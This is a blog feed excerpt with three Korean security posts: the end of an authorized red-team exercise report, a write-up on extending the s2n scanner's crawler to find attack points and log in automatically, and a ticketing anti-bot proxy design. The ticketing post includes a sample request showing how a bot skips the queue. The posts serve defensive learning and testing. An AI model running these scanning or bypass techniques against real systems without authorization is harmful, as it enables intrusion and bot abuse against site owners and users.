<td>Gateway 쓰기 인증 우회, loadtest 무인가, Actuator 노출</td>
</tr>
<tr>
<td>A02: Cryptographic Failures</td>
<td>JWT 구조 노출, JWKS 에러</td>
<td><strong>RSA Private Key</strong>, DB 암호화 키, Admission Key 전체 노출</td>
</tr>
<tr>
<td>A04: Insecure Design</td>
<td>Queue Token 예측, Workers 무료 플랜 DoS</td>
<td>Thread Pool 무제한, 단순 DB 비밀번호</td>
</tr>
<tr>
<td>A05: Security Misconfiguration</td>
<td>ArgoCD 무인가, Grafana 외부 노출, dev Swagger</td>
<td>Staging Cloudflare 미적용, K8s API 외부 노출</td>
</tr>
<tr>
<td>A06: Vulnerable Components</td>
<td>Grafana 미패치 CVE 3건</td>
<td>—</td>
</tr>
<tr>
<td>A07: Auth Failures</td>
<td>OAuth redirect_uri 미검증</td>
<td>Gmail 앱 비밀번호, OAuth Secret 노출</td>
</tr>
<tr>
<td>A08: Software Integrity</td>
<td>무인증 경기/구장 생성</td>
<td>JWT 위조, S3 Defacement</td>
</tr>
</tbody></table>
<p>A01(Broken Access Control)과 A02(Cryptographic Failures)가 두 플랫폼 모두에서 가장 심각했다. OWASP Top 10에서 1위와 2위가 그대로 나온 셈이다.</p>
<hr>
<h2 id="핵심-교훈">핵심 교훈</h2>
<h3 id="1-인증이랑-인가는-다르다">1. 인증이랑 인가는 다르다</h3>
<p>Target A는 인증(Authentication)은 있었다. 토큰 발급도 하고, JWT 서명도 RS256으로 제대로 하고 있었다. 근데 <strong>인가(Authorization)가 통째로 빠져있었다</strong>. 토큰의 role이 MEMBER든 ADMIN이든 상관없이 모든 API에 접근 가능했다.</p>
<p>Spring Security에서 <code>@PreAuthorize(&quot;hasRole(&#39;ADMIN&#39;)&quot;)</code>를 안 달아놓으면 이런 일이 발생한다. 인증만 하고 인가를 빼먹는 건, 신분증은 확인하면서 출입증은 안 보는 것과 같다.</p>
<h3 id="2-env를-github에-올리면-끝난다">2. .env를 GitHub에 올리면 끝난다</h3>
<p>Target B의 모든 공격은 <strong>GitHub에 올라간 <code>.env</code> 파일 하나</strong>에서 시작됐다. RSA Private Key, AWS 키, OAuth Secret, DB 비밀번호, Gmail 비밀번호... 전부 한 파일에 들어있었다.</p>
<p><code>.gitignore</code>에 <code>.env</code>를 추가하는 건 기본 중의 기본인데, 이미 한 번 커밋된 파일은 <code>.gitignore</code>에 추가해도 <strong>git history에 남아있다</strong>. <code>git filter-branch</code>나 BFG Repo-Cleaner로 history까지 완전히 삭제해야 한다.</p>
<p>그리고 가능하면 시크릿은 파일에 넣지 말고 AWS Secrets Manager나 HashiCorp Vault 같은 시크릿 관리 서비스를 써야 한다.</p>
<h3 id="3-staging도-프로덕션처럼-보호해야-한다">3. Staging도 프로덕션처럼 보호해야 한다</h3>
<p>&quot;개발 환경이니까 괜찮겠지&quot;는 <strong>가장 위험한 가정</strong>이다. Target B의 Staging은 Cloudflare가 없어서 ALB가 직접 노출되어 있었고, 거기서 Actuator, Swagger, loadtest API가 전부 열려있었다. Staging에서 확보한 정보로 prod 공격 전략을 세울 수 있다.</p>
<h3 id="4-단일-방어선은-방어가-아니다">4. 단일 방어선은 방어가 아니다</h3>
<p>Target B의 prod는 Cloudflare IP 화이트리스트가 <strong>유일한 방어선</strong>이었다. 이게 뚫리면 DB 비밀번호 1234로 뚫린다. 그리고 실제로 Staging이라는 우회 경로가 있었다.</p>
<p><strong>Defense in Depth(심층 방어)</strong> — 방어를 여러 계층으로 쌓아야 한다. WAF, 네트워크 ACL, 인증, 인가, 시크릿 관리 각각이 독립적으로 방어할 수 있어야 하나가 뚫려도 다음 계층이 막는다.</p>
<h3 id="5-프론트엔드-번들에-비즈니스-로직-넣지-마라">5. 프론트엔드 번들에 비즈니스 로직 넣지 마라</h3>
<p>JS 번들은 클라이언트에서 실행되는 코드다. 아무리 빌드하고 난독화해도, 결국 브라우저에서 돌아가는 코드라 <strong>전부 읽을 수 있다</strong>. API 엔드포인트, OAuth Client ID, 토큰 생성 로직 같은 게 다 들어있으면 공격자한테 로드맵을 제공하는 거나 마찬가지다.</p>
<p>특히 Queue Token의 JTI를 클라이언트에서 생성하는 건 <strong>서버 측 검증이 없다면</strong> 대기열 우회로 직결된다.</p>
<hr>
<h2 id="마치며">마치며</h2>
<p>72시간은 짧다. 인프라 구축, 정찰, 공격, 보고서까지 혼자 다 해야 하니까 시간 관리가 진짜 중요했다. 특히 Day 3에 IP 차단당해서 VPN 전환하느라 시간 날린 거랑, 인증 서비스가 500 에러 내면서 토큰 재발급이 안 됐던 게 아쉽다. 토큰만 살아있었으면 Target A에서 더 많은 걸 할 수 있었다.</p>
<p>그래도 2개 플랫폼에서 <strong>65건</strong>을 찾아낸 건 꽤 만족스러운 결과다. 특히 Target B에서 <code>.env</code> 하나로 전체 인프라를 장악하는 공격 체인을 완성한 게 이번 훈련의 하이라이트였다.</p>
<p>앞으로 개선하고 싶은 점이라면:</p>
<ul>
<li>자동화 스크립트를 좀 더 미리 준비해갈 것</li>
<li>VPN IP 관리를 처음부터 신경쓸 것 (Day 1부터 로테이션)</li>
<li>C2 인프라를 웹 앱 공격에 더 활용할 방법 찾기</li>
</ul>
<hr>
<blockquote>
<p>이 글에 포함된 모든 공격은 인가된 보안 훈련 환경에서 수행되었다.
도메인, IP, 크리덴셜, 계정 정보 등 민감 정보는 전부 마스킹 처리했다.</p>
</blockquote>
<p><em>출처: 클라우드 기반 72시간 사이버보안 훈련 (2026)</em></p>
<p><em>Tags: #레드팀 #침투테스트 #펜테스트 #보안 #OWASP #AWS #Kubernetes #JWT #OAuth #사이버보안</em></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[s2n 오픈소스 취약점 스캐너에 크롤링 고도화 ]]></title>
            <link>https://velog.io/@9_000k/s2n-%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8A%A4%EC%BA%90%EB%84%88%EC%97%90-%ED%81%AC%EB%A1%A4%EB%A7%81-%EA%B3%A0%EB%8F%84%ED%99%94</link>
            <guid>https://velog.io/@9_000k/s2n-%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8A%A4%EC%BA%90%EB%84%88%EC%97%90-%ED%81%AC%EB%A1%A4%EB%A7%81-%EA%B3%A0%EB%8F%84%ED%99%94</guid>
            <pubDate>Mon, 16 Mar 2026 05:33:45 GMT</pubDate>
            <description><![CDATA[<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>Python 오픈소스 웹 취약점 스캐너 <strong>s2n</strong>의 크롤러를 고도화했다 — BFS 크롤링 + HTML 폼 자동 분류 + 공격 포인트 자동 탐지까지.</li>
<li>기존엔 DVWA 전용 하드코딩 방식이라 다른 사이트에선 쓸 수가 없었는데, 이걸 <strong>어떤 사이트든 자동으로 공격 포인트를 찾아내는 구조</strong>로 바꿨다.</li>
<li>범용 로그인 어댑터(<code>universal_adapter.py</code>)도 만들어서 <code>--auth auto</code> 옵션 하나면 로그인 페이지를 알아서 찾고 폼 필드도 자동 매핑하게 됐다.</li>
</ol>
<hr>
<h2 id="시작하며">시작하며...</h2>
<blockquote>
<p>PR 링크: <a href="https://github.com/s2n0n/s2n/pull/139">https://github.com/s2n0n/s2n/pull/139</a>
프로젝트: <a href="https://github.com/s2n0n/s2n">https://github.com/s2n0n/s2n</a></p>
</blockquote>
<p>s2n은 팀 사이드 프로젝트로 만들고 있는 <strong>Python 기반 플러그인형 웹 취약점 스캐너</strong>다. SQL Injection, XSS 같은 취약점을 자동으로 스캔하는 툴인데, 나는 여기서 <strong>크롤러 파트</strong>를 맡았다.</p>
<p>구조 자체는 잘 잡혀 있었다. 플러그인 아키텍처라서 취약점 스캐너를 모듈 단위로 붙였다 뗐다 할 수 있고, 결과도 JSON/HTML로 깔끔하게 뽑힌다. 근데 크롤러 쪽이 문제였다.</p>
<hr>
<h2 id="왜-고도화가-필요했는가">왜 고도화가 필요했는가?</h2>
<p>기존 크롤러의 핵심 문제는 딱 하나였다.</p>
<blockquote>
<p><strong>DVWA 전용으로 하드코딩되어 있었다.</strong></p>
</blockquote>
<p>DVWA(Damn Vulnerable Web Application)는 취약점 학습용 실습 환경이다. 기존 구조는 DVWA에서만 로그인하고, DVWA의 URL 목록을 직접 때려박는 방식이었다. 다른 타겟 사이트에 쓰려고 하면 코드를 뜯어야 한다.</p>
<p>스캐너가 &quot;어떤 사이트든 쓸 수 있는 범용 툴&quot;을 지향한다면 크롤러도 범용이어야 한다.</p>
<p>그리고 두 번째 문제가 있었다.</p>
<blockquote>
<p><strong>공격 포인트를 수동으로 지정해야 했다.</strong></p>
</blockquote>
<p>취약점 스캔을 하려면 &quot;어디에 페이로드를 넣을지&quot;를 알아야 한다. 기존엔 이걸 사람이 직접 URL 목록으로 넘겨줬다. 근데 실제 타겟 사이트는 폼이 어디에 있는지 모른다. <strong>크롤러가 직접 사이트를 돌면서 공격 포인트(폼)를 자동으로 찾아내야 한다.</strong></p>
<p>이 두 가지를 해결하는 게 이번 PR의 목표였다.</p>
<hr>
<h2 id="어떻게-설계했는가">어떻게 설계했는가?</h2>
<p>크게 세 가지 컴포넌트를 만들었다.</p>
<h3 id="1-html-폼-자동-분류기--classifierpy">1. HTML 폼 자동 분류기 — <code>classifier.py</code></h3>
<p>크롤링하면서 찾은 폼이 &quot;로그인 폼인지&quot;, &quot;검색창인지&quot;, &quot;파일 업로드인지&quot; 구분해야 플러그인이 알맞은 페이로드를 쓸 수 있다.</p>
<p>분류 카테고리는 6종이다.</p>
<table>
<thead>
<tr>
<th>클래스</th>
<th>설명</th>
<th>판별 근거</th>
</tr>
</thead>
<tbody><tr>
<td><code>LOGIN</code></td>
<td>로그인 폼</td>
<td>password 타입 input 존재, id/username 필드명</td>
</tr>
<tr>
<td><code>TEXT_INPUT</code></td>
<td>일반 텍스트 입력</td>
<td>text/textarea 입력 필드</td>
</tr>
<tr>
<td><code>FILE_UPLOAD</code></td>
<td>파일 업로드</td>
<td><code>type=&quot;file&quot;</code> input 존재</td>
</tr>
<tr>
<td><code>COMMAND</code></td>
<td>명령어 실행 가능성</td>
<td>cmd/command/exec 관련 필드명</td>
</tr>
<tr>
<td><code>SEARCH</code></td>
<td>검색창</td>
<td>search/query/q 필드명, <code>type=&quot;search&quot;</code></td>
</tr>
<tr>
<td><code>GENERIC</code></td>
<td>분류 불가</td>
<td>위 어디에도 안 걸릴 때</td>
</tr>
</tbody></table>
<p>HTML 속성에서 패턴을 뽑아 분류하는 <strong>휴리스틱 방식</strong>이다. 머신러닝 같은 거 없이 필드명, input 타입, 폼 액션 URL을 조합해서 판단한다. 단순하지만 실제로 꽤 잘 맞는다.</p>
<h3 id="2-bfs-기반-스마트-크롤러--smart_crawlerpy">2. BFS 기반 스마트 크롤러 — <code>smart_crawler.py</code></h3>
<p>타겟 URL에서 시작해서 <strong>같은 오리진(same-origin)</strong> 링크만 따라가면서 BFS(너비 우선 탐색)로 사이트를 순회한다.</p>
<pre><code>시작 URL
    └─ 링크 수집 (same-origin만)
         └─ 각 페이지 방문
              └─ 폼 발견 → PageClassifier로 분류
                   └─ SiteMap에 기록</code></pre><p>BFS를 선택한 이유는 DFS 대비 얕은 depth의 페이지를 먼저 다 긁기 때문이다. 실제 웹 취약점 스캐닝에서는 로그인 직후 페이지나 메인 기능 페이지가 중요한데, 이런 건 보통 depth가 얕다.</p>
<p>크롤링 결과는 <code>SiteMap</code> 객체로 구조화되어서 플러그인에 전달된다. 플러그인 입장에서는 &quot;이 URL에 이 타입의 폼이 있음&quot;이라는 정보를 바탕으로 바로 공격 페이로드를 날릴 수 있다.</p>
<h3 id="3-범용-로그인-어댑터--universal_adapterpy">3. 범용 로그인 어댑터 — <code>universal_adapter.py</code></h3>
<p>이게 제일 까다로웠다.</p>
<p>기존엔 DVWA 전용 어댑터가 있었다. DVWA는 로그인 URL도 고정이고 폼 필드명도 고정이라 하드코딩이 가능했다. 근데 범용 어댑터는 아무 사이트나 들어갔을 때 &quot;어디가 로그인 페이지인지&quot;, &quot;username 필드가 뭔지&quot;, &quot;로그인 성공 여부를 어떻게 판단하는지&quot;를 자동으로 알아내야 한다.</p>
<p>처리 흐름은 이렇다.</p>
<pre><code>1. 로그인 페이지 자동 탐색
   - /login, /signin, /auth 같은 일반적인 경로 시도
   - 홈페이지에서 로그인 링크 텍스트로 탐색

2. 폼 필드 자동 매핑
   - username 관련: id, user, email, login, name ...
   - password 관련: pass, pwd, password, secret ...
   - 필드명 휴리스틱으로 매핑

3. 로그인 성공 판단 (다중 휴리스틱)
   - 로그인 페이지로 리다이렉트 안 됨
   - &quot;로그인 실패&quot;, &quot;invalid password&quot; 텍스트 없음
   - 세션 쿠키 발급됨</code></pre><p>세 가지 조건을 종합해서 성공/실패를 판단한다. 어느 하나만 보면 오탐이 많아서 다중 휴리스틱으로 처리했다.</p>
<p>CLI에서는 이렇게 쓴다.</p>
<pre><code class="language-bash">s2n scan -u http://target --auth auto --username admin --password pass</code></pre>
<p><code>--auth auto</code>만 주면 로그인 페이지 찾는 것부터 자동으로 한다. 타겟 URL을 알고 계정 정보만 있으면 된다.</p>
<hr>
<h2 id="기존-코드는-최대한-안-건드렸다">기존 코드는 최대한 안 건드렸다</h2>
<p>이게 오픈소스 기여에서 제일 신경 쓴 부분이다.</p>
<p>기존 <code>crawl_recursive()</code>, <code>DVWAAdapter</code>는 그대로 살렸다. 새로 추가한 <code>smart_crawl()</code>은 <code>scan()</code> 시작 시 자동 실행되고, <strong>실패하면 기존 방식으로 fallback</strong>한다. 기존 사용자 입장에서 breaking change가 없다.</p>
<p>변경한 파일 목록과 변경 범위를 보면:</p>
<table>
<thead>
<tr>
<th>파일</th>
<th>변경 내용</th>
<th>변경 규모</th>
</tr>
</thead>
<tbody><tr>
<td><code>interfaces.py</code></td>
<td><code>AuthType.AUTO</code> 추가</td>
<td>1줄</td>
</tr>
<tr>
<td><code>scan_engine.py</code></td>
<td><code>smart_crawl()</code> 연동 + SiteMap 기반 target_urls</td>
<td>최소 수정</td>
</tr>
<tr>
<td><code>cli/runner.py</code></td>
<td><code>--auth auto</code>, <code>--login-url</code> 옵션 추가</td>
<td>옵션 2개</td>
</tr>
<tr>
<td><code>cli/mapper.py</code></td>
<td><code>AUTO</code> → <code>AuthType.AUTO</code> 매핑</td>
<td>1줄</td>
</tr>
<tr>
<td><code>crawler/__init__.py</code></td>
<td><code>extract_same_origin_links()</code> 공유 함수 추출</td>
<td>중복 코드 제거</td>
</tr>
</tbody></table>
<p>신규 파일 5개, 기존 파일 수정 5개인데 기존 파일은 죄다 최소 수정이다.</p>
<p>그리고 중요한 게, 기존 테스트 106개가 전부 통과했다. 새 기능 추가하면서 기존 동작 건드린 게 없다는 뜻이다.</p>
<hr>
<h2 id="전체-구조">전체 구조</h2>
<pre><code>s2n/
├── crawler/
│   ├── __init__.py          # extract_same_origin_links() 공유 함수
│   ├── classifier.py        # HTML 폼 자동 분류 (6종)
│   ├── sitemap.py           # 크롤링 결과 구조화 + 플러그인 매핑
│   └── smart_crawler.py     # BFS 크롤링 + SiteMap 생성
├── auth/
│   ├── __init__.py
│   └── universal_adapter.py # 범용 로그인 (자동 탐색 + 폼 매핑 + 성공 판단)
├── interfaces.py            # AuthType.AUTO 추가
├── scan_engine.py           # smart_crawl 연동
└── cli/
    ├── runner.py            # --auth auto, --login-url 옵션
    └── mapper.py            # AUTO 매핑</code></pre><hr>
<h2 id="어려웠던-점">어려웠던 점</h2>
<h3 id="로그인-성공-판단이-제일-까다로웠다">로그인 성공 판단이 제일 까다로웠다</h3>
<p>처음엔 단순하게 &quot;리다이렉트 발생하면 성공&quot;이라고 봤다. 근데 실제로 해보니 로그인 실패해도 리다이렉트 하는 사이트가 있고, 성공해도 리다이렉트 없이 같은 페이지에서 변화만 생기는 사이트도 있었다.</p>
<p>결국 단일 조건으로는 판단이 안 된다는 걸 깨달았다. 리다이렉트 여부 + 실패 텍스트 유무 + 세션 쿠키 발급 여부를 조합해서 다수결로 판단하는 방식이 가장 안정적이었다.</p>
<h3 id="same-origin-링크-추출-중복-문제">same-origin 링크 추출 중복 문제</h3>
<p>크롤러 코드 여러 곳에서 same-origin 링크 추출 로직이 중복으로 들어가 있었다. <code>smart_crawler.py</code> 만들면서 이 로직을 또 쓰게 됐는데, 그냥 또 복붙하기보다 <code>crawler/__init__.py</code>에 <code>extract_same_origin_links()</code> 공유 함수로 빼는 게 맞다고 판단했다. 기존 코드 동작은 그대로고 중복만 제거했다.</p>
<hr>
<h2 id="그래도-좋은-점은">그래도 좋은 점은?</h2>
<p><strong>오픈소스에 실제로 기여해봤다는 게 제일 값졌다.</strong></p>
<p>혼자 만든 프로젝트가 아니라 기존 코드베이스가 있고, 다른 기여자들의 코드 스타일이 있고, 테스트가 있는 환경에서 기능을 추가하는 경험 자체가 달랐다. &quot;내 코드가 기존 106개 테스트를 다 통과해야 한다&quot;는 제약이 오히려 설계를 더 꼼꼼하게 만들었다.</p>
<p>그리고 <strong>GUI(Chrome Extension)는 scan_engine.py 연동</strong>이기 때문에, 내가 만든 smart_crawl이 별도 수정 없이 확장에도 자동 적용된다. 잘 만든 추상화가 어떤 느낌인지 직접 경험했다.</p>
<hr>
<h2 id="마치며">마치며</h2>
<p>크롤러라고 하면 단순히 링크 따라가는 거 아닌가 싶을 수 있는데, 실제로 만들어보면 폼 분류, 로그인 자동화, 공격 포인트 매핑까지 해야 &quot;쓸 수 있는 크롤러&quot;가 된다는 걸 알게 된다.</p>
<p>특히 범용 로그인 어댑터 만들면서 &quot;로그인 성공이 뭔지&quot;를 프로그래밍적으로 정의해야 하는 상황이 꽤 재밌었다. 사람은 화면 보면 바로 아는데, 코드로 표현하면 꽤 까다롭다.</p>
<p>이번 PR이 머지되면 s2n이 DVWA 전용 스캐너에서 벗어나 진짜 범용 스캐너로 한 단계 올라간다. 그 기반을 만든 거라서 개인적으로 만족도가 높은 작업이었다.</p>
<hr>
<blockquote>
<p><strong>작성자</strong>: HoHK<br><strong>PR</strong>: <a href="https://github.com/s2n0n/s2n/pull/139">github.com/s2n0n/s2n/pull/139</a><br><strong>프로젝트</strong>: <a href="https://github.com/s2n0n/s2n">github.com/s2n0n/s2n</a> — Python open source vulnerability scanner</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KT Cloud Tech UP] 티켓팅 봇 차단 보안 프록시 서버 개발기 — Ticket Redirect Guard]]></title>
            <link>https://velog.io/@9_000k/KT-Cloud-Tech-UP-%ED%8B%B0%EC%BC%93%ED%8C%85-%EB%B4%87-%EC%B0%A8%EB%8B%A8-%EB%B3%B4%EC%95%88-%ED%94%84%EB%A1%9D%EC%8B%9C-%EC%84%9C%EB%B2%84-%EA%B0%9C%EB%B0%9C%EA%B8%B0-Ticket-Redirect-Guard</link>
            <guid>https://velog.io/@9_000k/KT-Cloud-Tech-UP-%ED%8B%B0%EC%BC%93%ED%8C%85-%EB%B4%87-%EC%B0%A8%EB%8B%A8-%EB%B3%B4%EC%95%88-%ED%94%84%EB%A1%9D%EC%8B%9C-%EC%84%9C%EB%B2%84-%EA%B0%9C%EB%B0%9C%EA%B8%B0-Ticket-Redirect-Guard</guid>
            <pubDate>Mon, 16 Mar 2026 05:27:37 GMT</pubDate>
            <description><![CDATA[<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>티켓팅 봇/매크로를 <strong>대기열 + 큐 통과 토큰 + 302 리다이렉트</strong> 구조로 차단하는 독립형 보안 프록시 서버를 만들었다.</li>
<li>처음엔 AI 기반 Risk Score로 봇을 구분하려 했는데, 설계할수록 &quot;굳이 판별 안 해도 대기열 자체가 필터링이 된다&quot;는 걸 깨달았다.</li>
<li>FastAPI + Redis + uvicorn 조합으로 백엔드 코드 한 줄 안 건드리고 끼워 넣을 수 있는 구조를 완성했다.</li>
</ol>
<hr>
<h2 id="시작하며">시작하며...</h2>
<blockquote>
<p>프로젝트 레포: <a href="https://github.com/HOHK0923/ticket-redirect-guard">https://github.com/HOHK0923/ticket-redirect-guard</a></p>
</blockquote>
<p>KT Cloud Tech UP 실무 통합 프로젝트 과정에서 팀(2SeC)이 맡은 파트가 있었다.</p>
<p>티켓팅 서비스에서 봇/매크로가 좌석을 싹쓸이하는 문제, 다들 한 번쯤 겪어봤을 거다. 콘서트 티켓 예매할 때 0.1초 만에 매진되는 그거. 우리 팀은 거기서 <strong>보안 서버</strong> 파트를 담당했다.</p>
<p>AI 퀴즈로 1차 필터링하는 팀이 따로 있었고, 퀴즈를 통과한 이후 구간 — 즉 <strong>대기열에서 좌석 선택까지의 구간</strong>에서 남은 봇을 걸러내는 게 내 역할이었다.</p>
<hr>
<h2 id="왜-이-구조를-선택했는가">왜 이 구조를 선택했는가?</h2>
<p>처음 설계 방향은 이랬다.</p>
<blockquote>
<p>&quot;세션 행동 분석으로 봇을 탐지하자. 요청 속도, 요청 간격 규칙성, 동일 좌석 재시도 횟수를 Feature로 뽑아서 Risk Score를 계산하면 봇이냐 사람이냐 구분할 수 있다.&quot;</p>
</blockquote>
<p>그래서 초안엔 <code>scorer.py</code>, <code>request_parser.py</code>, <code>models.py</code> 같은 AI 탐지 관련 모듈이 다 들어가 있었고, 로지스틱 회귀부터 XGBoost까지 모델 5개를 비교해서 Recall/Precision 기준으로 채택하는 계획도 있었다.</p>
<p>근데 설계를 계속 다듬다 보니 문제가 생겼다.</p>
<p><strong>봇을 굳이 &quot;판별&quot;해야 하나?</strong></p>
<p>티켓팅 환경에서 정상 유저도 새로고침을 미친 듯이 누른다. 좌석이 풀리는 순간 반복 조회하고 재시도하는 건 봇이나 사람이나 다를 게 없다. 단일 축 탐지로는 FP(정상 유저를 봇으로 판단)가 너무 많이 나올 수밖에 없었다.</p>
<p>거기다 생각해보면, 봇이 특히 강한 이유가 뭐냐.</p>
<pre><code>봇의 강점:
1. JS 실행 안 함 (브라우저 없이 HTTP 요청만 날림)
2. 302 리다이렉트를 따라가지 않거나, 따라가더라도 대기 과정 생략
3. 쿠키/세션 없이 직접 API 호출 가능</code></pre><p>그러면 반대로 <strong>&quot;봇이 버티지 못하는 구조&quot;</strong> 를 만들면 된다는 결론이 나왔다.</p>
<ul>
<li>대기열에서 JS 폴링을 요구하고</li>
<li>큐 통과 토큰이 없으면 API 접근 자체를 막고</li>
<li>모든 미인가 접근은 302로 대기열로 되돌리면</li>
</ul>
<p>봇을 &quot;판별&quot;하지 않아도 봇이 자연스럽게 탈락하는 구조가 된다.</p>
<p>이게 최종 설계 방향이 된 이유다.</p>
<hr>
<h2 id="그런데">그런데...</h2>
<p>처음 구조와 최종 구조가 꽤 달라졌다.</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>초안</th>
<th>최종</th>
</tr>
</thead>
<tbody><tr>
<td>차단 방식</td>
<td>Risk Score ≥ 45 → 302 차단</td>
<td>큐 통과 토큰 없음 → 302 차단</td>
</tr>
<tr>
<td>핵심 모듈</td>
<td>scorer.py, request_parser.py</td>
<td>queue_token.py, middleware.py</td>
</tr>
<tr>
<td>봇 판별 여부</td>
<td>명시적 판별</td>
<td>판별 없이 구조로 탈락 유도</td>
</tr>
<tr>
<td>세션 TTL</td>
<td>60초 유휴 타임아웃</td>
<td>10분 (600초) TTL</td>
</tr>
<tr>
<td>토큰 개념</td>
<td>없음</td>
<td>큐 통과 토큰 (TTL 5분)</td>
</tr>
</tbody></table>
<p>Risk Score 방식을 완전히 버린 건 &quot;봇 탐지 정확도&quot;보다 &quot;정상 유저가 차단당하지 않는 것&quot;이 더 중요했기 때문이다. FP가 하나라도 나오면 실제 서비스에서는 민원이 터진다.</p>
<hr>
<h2 id="어려웠던-점">어려웠던 점</h2>
<h3 id="1-큐-새치기-방지-설계">1. 큐 새치기 방지 설계</h3>
<p>대기열을 만든다고 끝이 아니었다. 봇은 대기열 페이지를 무시하고 API를 직접 때릴 수 있다.</p>
<pre><code># 봇 입장에서는 이렇게 하면 대기열 우회 가능
POST /api/ticketing/123/hold/seat
X-Session-Ticket: 아무거나</code></pre><p>이걸 막으려면 <strong>&quot;대기열을 정상적으로 통과한 증거&quot;</strong> 가 필요했다. 그게 큐 통과 토큰이다.</p>
<p>흐름을 정리하면 이렇다.</p>
<pre><code>대기열 진입 (/_guard/queue)
    ↓
JS 폴링 2초마다 (/_guard/queue/status)
    ↓
최소 대기 시간 경과 (QUEUE_WAIT_MIN_SECONDS)
    ↓
Redis에 큐 통과 토큰 발급 (TTL 5분)
    ↓
302 → 좌석 선택 페이지
    ↓
이후 API 요청마다 middleware가 토큰 검증
토큰 없으면 → 대기열로 302 강제 이동</code></pre><p>토큰을 Redis에 저장하고 TTL을 걸어서 만료 처리하는 건 구현 자체는 어렵지 않았는데, <strong>세션과 토큰을 어떻게 바인딩할 것인가</strong>가 고민이었다. X-Session-Ticket 헤더 기반으로 세션을 식별하고, 그 세션 키에 토큰을 매핑하는 방식으로 해결했다.</p>
<h3 id="2-리버스-프록시-구조">2. 리버스 프록시 구조</h3>
<p>Guard 서버는 독립형으로 동작하면서 백엔드 앞에 끼워 넣는 구조다. 즉 Guard 서버가 요청을 받아서 검증한 뒤 백엔드(<code>UPSTREAM_URL</code>)로 프록시해줘야 한다.</p>
<pre><code>Client → Guard Server (포트 8000) → Backend Server (포트 8080)</code></pre><p>FastAPI에서 비동기 HTTP 클라이언트(<code>httpx</code>)로 백엔드에 요청을 전달하고, 응답을 그대로 클라이언트에게 돌려주는 방식이다. 헤더, 바디, 상태 코드 전부 그대로 투명하게 전달해야 하기 때문에 proxy.py 모듈을 따로 분리했다.</p>
<p><code>GUARD_ENABLED=false</code>로 설정하면 토큰 검증 없이 전부 백엔드로 그냥 넘기는 킬스위치도 달았다. 긴급 상황에 Guard 서버를 끄지 않고 기능만 비활성화할 수 있게.</p>
<h3 id="3-모듈-분리">3. 모듈 분리</h3>
<p>처음엔 <code>server.py</code> 하나에 다 때려넣으려 했다. 근데 미들웨어, 대기열, 토큰, 세션, 프록시가 한 파일에 있으면 나중에 수정할 때 너무 힘들어진다.</p>
<p>최종적으로 아래처럼 역할별로 분리했다.</p>
<pre><code>server.py                  # 엔트리포인트, 미들웨어 등록
guard/
  middleware.py            # 큐 통과 토큰 검증 (모든 요청 인터셉트)
  queue.py                 # 대기열 페이지 + /status 폴링 API
  queue_token.py           # 토큰 발급/검증 로직
  session_tracker.py       # Redis 세션 상태 관리
  proxy.py                 # 백엔드 리버스 프록시
  config.py                # ENV 변수 로딩
  redis_client.py          # 비동기 Redis 연결
  metrics.py               # 대기열 진입/통과/차단 카운터</code></pre><p><code>middleware.py</code>가 핵심이다. 모든 요청이 여기를 통과하면서 <code>SENSITIVE_PATHS</code>에 해당하는 경로면 토큰 검증을 수행한다. 토큰이 없거나 만료됐으면 <code>REDIRECT_URL</code>로 302를 날린다.</p>
<hr>
<h2 id="전체-아키텍처">전체 아키텍처</h2>
<pre><code>Client
  │
  ▼
[AI 보안 퀴즈] ← 다른 팀 담당
  │
  ▼
[Guard Server - 이 서버]
  │
  ├─ 1. 대기열 진입 (&quot;잠시만 기다려주세요!&quot;)
  ├─ 2. JS 폴링 2초 간격 (/_guard/queue/status)
  ├─ 3. 최소 대기 시간 경과 → 큐 통과 토큰 발급 (Redis, TTL 5분)
  ├─ 4. 302 리다이렉트 → 좌석 선택 페이지
  └─ 5. 이후 API 요청 → 토큰 검증 → 통과 or 대기열로 302
  │
  ▼
[Backend Server]
  │
  ├─ 정상 유저 → 좌석 선택 진행
  └─ 봇/매크로 → JS 폴링 못 따라오거나 토큰 없어서 자연 탈락</code></pre><hr>
<h2 id="주요-설정값">주요 설정값</h2>
<table>
<thead>
<tr>
<th>변수</th>
<th>기본값</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>GUARD_ENABLED</code></td>
<td><code>true</code></td>
<td>킬스위치. <code>false</code>면 대기열 없이 전부 통과</td>
</tr>
<tr>
<td><code>QUEUE_WAIT_MIN_SECONDS</code></td>
<td><code>3</code></td>
<td>대기열 최소 대기 시간 (초). 너무 짧으면 봇도 빠르게 통과 가능</td>
</tr>
<tr>
<td><code>QUEUE_PASS_TTL_SECONDS</code></td>
<td><code>300</code></td>
<td>큐 통과 토큰 유효 시간. 5분 안에 결제까지 가야 함</td>
</tr>
<tr>
<td><code>SESSION_TTL_SECONDS</code></td>
<td><code>600</code></td>
<td>Redis 세션 데이터 보관 시간. 10분 무활동 시 자동 만료</td>
</tr>
<tr>
<td><code>UPSTREAM_URL</code></td>
<td><code>localhost:8080</code></td>
<td>백엔드 서버 주소. Guard 서버가 요청을 여기로 프록시</td>
</tr>
<tr>
<td><code>SENSITIVE_PATHS</code></td>
<td><code>/api/ticketing,...</code></td>
<td>토큰 검증을 적용할 API 경로. 핵심 기능만 걸어둔다</td>
</tr>
<tr>
<td><code>REDIRECT_URL</code></td>
<td><code>/</code></td>
<td>토큰 없이 접근 시 302로 보낼 주소. 기본은 메인 홈</td>
</tr>
</tbody></table>
<hr>
<h2 id="운영-엔드포인트">운영 엔드포인트</h2>
<table>
<thead>
<tr>
<th>엔드포인트</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><code>/_guard/queue</code></td>
<td>대기열 페이지. 사용자가 실제로 보는 화면</td>
</tr>
<tr>
<td><code>/_guard/queue/status</code></td>
<td>폴링 API. 브라우저가 2초마다 자동 호출해서 통과 여부 확인</td>
</tr>
<tr>
<td><code>/_guard/health</code></td>
<td>헬스체크. OK 응답이면 서버 정상</td>
</tr>
<tr>
<td><code>/_guard/metrics</code></td>
<td>대기열 진입/통과/차단 카운터 확인</td>
</tr>
</tbody></table>
<hr>
<h2 id="빠른-시작">빠른 시작</h2>
